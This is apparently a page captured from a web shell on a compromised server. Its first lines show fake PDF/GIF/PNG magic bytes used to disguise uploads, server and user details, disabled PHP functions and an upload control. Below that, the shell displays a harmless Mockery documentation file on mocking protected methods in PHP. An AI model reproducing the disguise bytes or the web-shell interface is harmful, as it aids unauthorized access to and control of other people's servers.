%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/mockery/mockery/docs/reference/ |
Upload File : |
.. index::
single: Mocking; Protected Methods
Mocking Protected Methods
=========================
By default, Mockery does not allow mocking protected methods. We do not recommend
mocking protected methods, but there are cases when there is no other solution.
For those cases we have the ``shouldAllowMockingProtectedMethods()`` method. It
instructs Mockery to specifically allow mocking of protected methods, for that
one class only:
.. code-block:: php
class MyClass
{
protected function foo()
{
}
}
$mock = \Mockery::mock('MyClass')
->shouldAllowMockingProtectedMethods();
$mock->shouldReceive('foo');